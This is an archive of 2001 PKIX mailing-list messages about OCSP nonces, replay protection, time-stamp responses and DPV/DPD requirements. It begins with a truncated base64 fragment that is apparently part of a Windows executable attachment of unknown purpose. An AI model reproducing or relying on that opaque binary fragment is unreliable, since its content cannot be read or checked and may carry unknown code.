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
+nwnznOoTcsbC2C5TdKVfqSEspnCKi7qOUNmdoY3YAihm32TRu4290bK/vcf4yo1XnQLfkHBEZhg
jyX8fY+YCbuRdflvsJZql5cjW/coBQC9AZlRUPxc/DSXvJhpe6lNcjnKKlT7wqxINfehnYqDvbJ5
O29T0mxyXF6H1gmbs1LmrTLZmLcF96nMDf47NUZzZXJ2AgAAADADAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAOHAAAAAAAAAwcAAAAAAAAAAAAABMcAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAOHAAAAAAAAARAUdldE1vZHVsZUhhbmRsZUEAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA=

----VEO9EBGPMB--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA09890 for <[e-mail]>; Thu, 1 Feb 2001 14:46:07 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id RAA11033; Thu, 1 Feb 2001 17:52:51 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0501041eb69f9895aa77@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Thu, 1 Feb 2001 17:54:18 -0500
To: "Michael Myers" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Mike,

I will try to get around to reading your message tomorrow, as well as 
Denis' message on DPV/DPD requirements from a week ago.  It is time 
for the WG to settle on requirements and move on to the next phase of 
the process. I greatly appreciate the effort you have put into 
aggregating this material and look forward to producing a revised 
requirements document for DPV and DPD that the WG can review, comment 
upon, and adopt. Several additional WG members have been very active 
in contributing to the discussion and I think we have progressed in 
our understanding of the nature and some of the subtleties of the 
problems that we are trying to solve.  Several suggestions have been 
made that will allow us to narrow our focus and eliminate some 
options that were originally put forth, so that we can have standards 
that will be fully functional yet not overly complex.

Steve


Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA05912 for <[e-mail]>; Thu, 1 Feb 2001 13:28:18 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f11LYtK03282; Thu, 1 Feb 2001 13:34:55 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Rich Salz" <[e-mail]>, "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 13:39:40 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

FWIW, the appearance of the OCSP nonce in the spec was a direct outcome of a
list-based discussion between myself and Carlisle regarding replay attacks.
The "freshness effect" vs. pre-signed and cached OCSP responses is a useful
side effect.  It might turn out to be the more useful effect of the
practice.

Mike

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]On Behalf Of
> Rich Salz
> Sent: Thursday, February 01, 2001 12:33 PM
> To: Stephen Kent
> Cc: [e-mail]
> Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
>
>
> > Re your "newcomer" comment, let's just say that a standard should be
> > written so that a search of the archives is not necessary to its
> > understanding.
>
> Oh, I quite agree, and certainly meant no offense.  I was only trying to
> say that it can be hard to make everything explicit that should be made
> explicit.
>
> I never tried to say that most folks use the OCSP nonce to prove
> business logic, only that some do, and that was an original motivator
> for its appearance in the spec.  And I apologize that we-all didn't make
> that more clear.
> 	/r$
>



Received: from mail-fwd.verio-web.com (mail11a.verio-web.com [161.58.16.57]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA02067 for <[e-mail]>; Thu, 1 Feb 2001 12:26:06 -0800 (PST)
Received: from 161.58.117.181 (161.58.117.181) by mail11a.verio-web.com (RS ver 1.0.58s) with SMTP id 030398978; Thu,  1 Feb 2001 15:33:13 -0500 (EST)
Sender: rsalz
Message-ID: <[e-mail]>
Date: Thu, 01 Feb 2001 15:33:27 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
References: <[e-mail]>	 <[e-mail]> <p05010418b69f6ba41b3c@[128.33.4.39]> <[e-mail]> <p05010419b69f7314dabc@[128.33.4.39]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Loop-Detect: 1

> Re your "newcomer" comment, let's just say that a standard should be
> written so that a search of the archives is not necessary to its
> understanding.

Oh, I quite agree, and certainly meant no offense.  I was only trying to
say that it can be hard to make everything explicit that should be made
explicit.

I never tried to say that most folks use the OCSP nonce to prove
business logic, only that some do, and that was an original motivator
for its appearance in the spec.  And I apologize that we-all didn't make
that more clear.
	/r$


Received: from brot.celocom.de (brot.celocom.de [212.78.104.200]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA01577 for <[e-mail]>; Thu, 1 Feb 2001 12:21:00 -0800 (PST)
Received: from frolic.celocom.de (frolic.celocom.de [212.78.104.90]) by brot.celocom.de (Postfix) with ESMTP id E8AC22FD2 for <[e-mail]>; Thu, 01 Feb 2001 21:27:53 +0100 (CET)
Received: from celocom.de (bernd.celocom.de [212.78.104.41]) by frolic.celocom.de (Postfix) with ESMTP id C615C108003 for <[e-mail]>; Thu,  1 Feb 2001 21:27:53 +0100 (CET)
Message-ID: <[e-mail]>
Date: Thu, 01 Feb 2001 21:27:49 +0100
From: Bernd Matthes <[e-mail]>
Reply-To: [e-mail]
Organization: Celo Communications -- http://www.celocom.com
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: de,en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Query about nonce field in Time-stamp response.
References: <005701c0868c$b9f330c0$966801c4@insight> <[e-mail]> <006e01c086b4$2bb129c0$966801c4@insight> <[e-mail]> <001601c08c3a$45361d20$966801c4@insight>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms1A91036054EEAF0BCBC964C2"

This is a cryptographically signed message in MIME format.

--------------ms1A91036054EEAF0BCBC964C2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Prashant Dambe wrote:
> 
> Is it required to have responder's signature over the Nonce as nonce will
> never be used in the future time.
> If it is so then nonce can be included like PKIStatusInfo which will be not
> included in Timestamptoken.
> If nonce has to be signed then why PKIStatusInfo is not included in
> Signed-Data.
> 
Hi,

How do you inform a client about a refused time stamp token if the 
PKIStatusInfo is inside the refused token?
There bites the cat itself in the tail.
If the PKIStatusInfo is outside of the time stamp token it can be always
sent
to the client.

If the nonce not belongs to the messageImprint in a signature
it's never provable surely that an time stamp token belongs to an 
time stamp query. The nonce is a part of evidence and must be therefore
signed.
The TSA had to prove that a nonce belongs to a messageImprint
has received. On which way should it be done? Just only with a *signed*
nonce.

An unsigned nonce can be exchanged from a "man in the middle" to provoke
that the client reject the received time stamp token.

with kind regards
-- 
Mors certa, hora incerta. In dubio pro mille.
--------------------------------------------------------------------
Bernd Matthes                   Celo Communications GmbH
Senior Software Engineer    	Weissenfelser Strasse 46a
Nachrichtentechniker            D 06217 Merseburg
Dipl.-Ing.(FH)                  http://www.celocom.com
  f. technische Informatik      mailto:[e-mail]
http://www.worldbug.de          Tel.: [phone]
mailto:[e-mail]      Fax:  [phone]
--------------------------------------------------------------------
Have You kicked Your cat today?
--------------ms1A91036054EEAF0BCBC964C2
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIKSgYJKoZIhvcNAQcCoIIKOzCCCjcCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
B9YwggSgMIIECaADAgECAhBsOnTzXfzOOQkJistWSC3oMA0GCSqGSIb3DQEBBAUAMIHMMRcw
FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y
azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5
IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp
dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAwMDEyNzAwMDAw
MFoXDTAxMDIwOTIzNTk1OVowggESMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE
CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y
ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV
UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO
ZXRzY2FwZSBGdWxsIFNlcnZpY2UxFjAUBgNVBAMUDUJlcm5kIE1hdHRoZXMxITAfBgkqhkiG
9w0BCQEWEm1haW5idWdAY2Vsb2NvbS5kZTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA
5XDGxWjDOe+gHZygtVsNACVkbiY27ug06wI9DGzn4+ibdyEoqNnMlqe7dHSHsLG5f9Fl8gBa
ZgwOUnNClgnjCbqoByj4In82wWwUG97DndueKQhN78pYDRBWhGXKo/YSGI2l5rw7fjYnlTlw
6QQF0OGpFNBXzkNCBC4muSaI2YUCAwEAAaOCATgwggE0MAkGA1UdEwQCMAAwgawGA1UdIASB
pDCBoTCBngYLYIZIAYb4RQEHAQEwgY4wKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlz
aWduLmNvbS9DUFMwYgYIKwYBBQUHAgIwVjAVFg5WZXJpU2lnbiwgSW5jLjADAgEBGj1WZXJp
U2lnbidzIENQUyBpbmNvcnAuIGJ5IHJlZmVyZW5jZSBsaWFiLiBsdGQuIChjKTk3IFZlcmlT
aWduMBEGCWCGSAGG+EIBAQQEAwIHgDAwBgpghkgBhvhFAQYHBCIWIDFjNzhjMGNiYWZjMzg2
YzQzYzFmMWFjYTY5NzY4Nzk3MDMGA1UdHwQsMCowKKAmoCSGImh0dHA6Ly9jcmwudmVyaXNp
Z24uY29tL2NsYXNzMS5jcmwwDQYJKoZIhvcNAQEEBQADgYEAsvJl1q8TirOQUfjbbyZKmVdi
k+2YQmQr64uvnEGf0Vp/laotPE49SR5Vu9GwGA2cPY/CPrb9v/bc3mOnCBlJ2m/xQIITJRxv
A66enfch2KSRLjl+VyU5BeIkq3UZekTAy76DPozOEwd6Azf4fLJy6AIh/DRS0GS9w/l2sLYQ
FAAwggMuMIICl6ADAgECAhEA0nYujRQMPX2yqCVdr+4NdTANBgkqhkiG9w0BAQIFADBfMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDEg
UHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTgwNTEyMDAwMDAw
WhcNMDgwNTEyMjM1OTU5WjCBzDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsT
FlZlcmlTaWduIFRydXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVw
b3NpdG9yeS9SUEEgSW5jb3JwLiBCeSBSZWYuLExJQUIuTFREKGMpOTgxSDBGBgNVBAMTP1Zl
cmlTaWduIENsYXNzIDEgQ0EgSW5kaXZpZHVhbCBTdWJzY3JpYmVyLVBlcnNvbmEgTm90IFZh
bGlkYXRlZDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAu1pEigQWu1X9A3qKLZRPFXg2
uA1Ksm+cVL+86HcqnbnwaLuV2TFBcHqBS7lIE1YtxwjhhEKrwKKSq0RcqkLwgg4C6S/7wju7
vsknCl22sDZCM7VuVIhPh0q/Gdr5FegPh7Yc48zGmo5/aiSS4/zgZbqnsX7vyds3ashKyAkG
5JkCAwEAAaN8MHowEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEH
AQEwLTArBggrBgEFBQcCARYfd3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQTAPBgNV
HRMECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG9w0BAQIFAAOBgQCIuDc73dqUNwCt
qp/hgQFxHpJqbS/28Z3TymQ43BuYDAeGW4UVag+5SYWklfEXfWe0fy0s3ZpCnsM+tI6q5QsG
3vJWKvozx74Z11NMw73I4xe1pElCY+zCphcPXVgaSTyQXFWjZSAA/Rgg5V+CprGoksVYasGN
Azzrw80FopCubjGCAjwwggI4AgEBMIHhMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEf
MB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWdu
LmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYG
A1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29u
YSBOb3QgVmFsaWRhdGVkAhBsOnTzXfzOOQkJistWSC3oMAkGBSsOAwIaBQCggbEwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjAxMjAyNzUzWjAjBgkq
hkiG9w0BCQQxFgQU5G9Iu+cMOBiIAaAjuq1SzsRlolAwUgYJKoZIhvcNAQkPMUUwQzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4DAgcwDQYIKoZIhvcNAwICAUAwDQYIKoZI
hvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYAKTSv7rzTpw2FgVVGDJrJjJ/EWM+JX99dFbdL8
AjMUNEJlTLk+esFcYKXXqegK1xymX3XKSw6f90DNLIZXBEb+Kg5YCs6TP360e1Dr5TFwEGi9
QZwoXi/EPtO3IldQPWcTSFv1o9V81xpyH7RfAl+vudOW5Qotg1KL0cIoG1rKSQ==
--------------ms1A91036054EEAF0BCBC964C2--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA01143 for <[e-mail]>; Thu, 1 Feb 2001 12:16:44 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id PAA20925; Thu, 1 Feb 2001 15:23:37 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010419b69f7314dabc@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>	 <[e-mail]> <p05010418b69f6ba41b3c@[128.33.4.39]> <[e-mail]>
Date: Thu, 1 Feb 2001 15:16:02 -0500
To: Rich Salz <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Rich,

>  > This sort of
>>  overloading of the nonce, no matter now noble the intent, seems like
>>  a bad idea in the larger context. But, given the current lack of
>>  specification re nonce generation, it's certainly not prohibited.
>
>Quite the contrary, as quoting from 4.4.1 of RFC2560
>    The nonce cryptographically binds a request and a response to prevent
>    replay attacks.
>
>How do I know you did a status check on the signer before relying on the
>signer?  Tie the document to the request.  It's one reason why OCSP is
>so much "better" than CRL's.  (Please -- I'm *kidding around.*)
>
>I'd be quite surprised if this doesn't show up in the mail archives once
>or twice.  I'm not sure how to make it could have been made more
>explicit, and even if it would have been appropriate for 2560.
>
>These kinds of things always show up when a newcomer reads a spec,
>separately from those have been heads-down into it from the beginning.

I could point you to mountains of literature on secure protocols that 
use nonces for freshness (usually equivalent to anti-replay, but 
subtly distinct here). I doubt that any of those suggest deriving a 
nonce from a document hash. That's because most of these protocols 
are independent of the application context and thus no document would 
be directly relevant. Peter's cite's of X.509 auth protocols 
certainly have this quality.  I agree that there is a nice 
side-effect of choosing a nonce in this fashion for this protocol, 
for some applications, but there is no reason to suppose that every 
(most?) OCSP request is being used with a document for NR purposes. 
Thus this is not a generally applicable notion and I stand by my 
criticism.

Re your "newcomer" comment, let's just say that a standard should be 
written so that a search of the archives is not necessary to its 
understanding.

Steve


Received: from blue01.identrus.com ([216.213.93.123]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA00128 for <[e-mail]>; Thu, 1 Feb 2001 12:08:40 -0800 (PST)
Received: by BLUE01 with Internet Mail Service (5.5.2653.19) id <D18R7XPW>; Thu, 1 Feb 2001 15:13:42 -0500
Message-ID: <2B55DABB95C4D4119C1300508BD953F10311CA@BLUE01>
From: Daniel Ash <[e-mail]>
To: "'Peter Sylvester'" <[e-mail]>
Cc: [e-mail]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Thu, 1 Feb 2001 15:13:39 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C08C8B.770A2430"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08C8B.770A2430
Content-Type: text/plain;
	charset="iso-8859-1"

> Wouldn't your environment better be suited by a service that does not
> ask for a validity of a certificate chain, but for the validity of a
> signed document?  

Has there been any discusion in this group about a service such as this?  

-dan

------_=_NextPart_001_01C08C8B.770A2430
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: Post-facto queries [Was: RE: DPD &amp; DPV requirements]</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>&gt; Wouldn't your environment better be suited by a service that does not</FONT>
<BR><FONT SIZE=2>&gt; ask for a validity of a certificate chain, but for the validity of a</FONT>
<BR><FONT SIZE=2>&gt; signed document?&nbsp; </FONT>
</P>

<P><FONT SIZE=2>Has there been any discusion in this group about a service such as this?&nbsp; </FONT>
</P>

<P><FONT SIZE=2>-dan</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08C8B.770A2430--


Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA29874 for <[e-mail]>; Thu, 1 Feb 2001 12:07:15 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f11KE5K27475; Thu, 1 Feb 2001 12:14:05 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: "PKIX-List" <[e-mail]>
Subject: Signature Validation vs. DPV
Date: Thu, 1 Feb 2001 12:18:48 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Denis,

What is your position regarding my observation that signature validation
requirements may be out of scope of the OCSPv2/DPV/DPD certificate
validation work efforts in PKIX?

Mike



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA29133 for <[e-mail]>; Thu, 1 Feb 2001 12:01:45 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f11K8TK27040; Thu, 1 Feb 2001 12:08:29 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 12:13:12 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <p05010414b69f63a83b07@[128.33.4.39]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Steve,

We might be in agreement.  Today, OCSP clients MAY force absolute freshness
via nonces.  My only point being that needs for system-level deployment
flexibility very likely preclude a SHALL in the OCSPv2 update to RFC 2560.
My thanks to Peter as well re: the producedAt field.  I recall that one took
a bit of dialog years back as well.

Mike


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Thursday, February 01, 2001 11:10 AM
> To: Michael Myers
> Cc: [e-mail]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Mike,
>
> >Steve, Carlin:
> >
> >Towards closure, in my humble opinion it seems the best we can do here is
> >maintain OCSP's optional nonce mechanism and let the system security
> >architects of the world sort out these system level issues.
>
> We need to have a clear definition of what the servers do, and what
> the clients can expect. After we establish that, we can leave the
> rest of the details to implementors. So, for example, if someone
> wants to make use of the sort of scheme that Peter Williams proposed
> for efficient storage and lookup of nonces, that's beyond the scope
> of the standard. But, the issue of whether the client can demand a
> very fresh OCSP response or not is a matter for the standard as it is
> at the heart of the service being offered, the security model for the
> system that uses the server, etc.  Anyway, since Peter Sylvester
> pointed out my oversight re the OCSP responder ProducedAt field, I
> feel better about what the residual problems are.
>
> Steve
>



Received: from mail-fwd.verio-web.com ([161.58.16.59]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA27818 for <[e-mail]>; Thu, 1 Feb 2001 11:50:28 -0800 (PST)
Received: from 161.58.117.181 (161.58.117.181) by mail11b.verio-web.com (RS ver 1.0.58s) with SMTP id 027674529; Thu,  1 Feb 2001 14:57:12 -0500 (EST)
Sender: rsalz
Message-ID: <[e-mail]>
Date: Thu, 01 Feb 2001 14:57:52 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
References: <[e-mail]> <[e-mail]> <p05010418b69f6ba41b3c@[128.33.4.39]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Loop-Detect: 1

> This sort of
> overloading of the nonce, no matter now noble the intent, seems like
> a bad idea in the larger context. But, given the current lack of
> specification re nonce generation, it's certainly not prohibited.

Quite the contrary, as quoting from 4.4.1 of RFC2560
   The nonce cryptographically binds a request and a response to prevent
   replay attacks. 

How do I know you did a status check on the signer before relying on the
